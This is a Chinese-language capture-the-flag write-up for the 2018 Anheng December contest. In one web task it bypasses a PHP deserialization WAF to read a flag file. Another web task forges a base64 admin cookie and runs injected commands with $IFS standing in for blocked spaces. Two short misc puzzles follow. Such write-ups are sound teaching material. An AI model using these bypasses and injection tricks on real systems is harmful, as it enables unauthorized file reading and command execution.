2018安恒12月赛复现

WEB

easy

题目是如下代码

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
public $file;
function __toString()  
{  
if(isset($this->file)) 
{
$filename = "./{$this->file}";
if (file_get_contents($filename)) 
{  
return file_get_contents($filename); 
} 
} 
}  
}  
if (isset($_GET['data']))  
{ 
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
} 
} 
else 
{ 
highlight_file("./index.php"); 
} 
?>

很显然是一个反序列化漏洞

将参数改为flag.php即可读取到flag文件

生成poc的代码如下

<?php  
@error_reporting(1); 
class baby 
{   
public $file = "flag.php";
function __toString()  
{  
if(isset($this->file)) 
{
$filename = "./{$this->file}";
if (file_get_contents($filename)) 
{  
return file_get_contents($filename); 
} 
} 
}  
}  
$a = new baby();
echo serialize($a);
?>

本地访问页面生成的反序列化字符串为:

O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

将该串内容作为data的值传入,发现被waf拦截

仔细查看题目正则部分,用+4绕过即可

ezweb2

使用御剑扫描目录发现了admin.php文件,访问后提示:

提示不是admin,下意识的查看cookie

将user部分base64解码得到user,我们将admin base64编码后将其替换

进入到后台

发现可以命令执行,但是过滤了空格

空格可以使用$IFS绕过

ls$IFS/

读取flag文件

MISC

学习资料

拿到文件后很明显是明文攻击

跑出密码

打开解压后的Word文档,将图片移走,得到flag

JUJU

题目提示有11只猪,而打开图片明显数量不足,尝试修改图片高度

发现了base32编码

解密后得到flag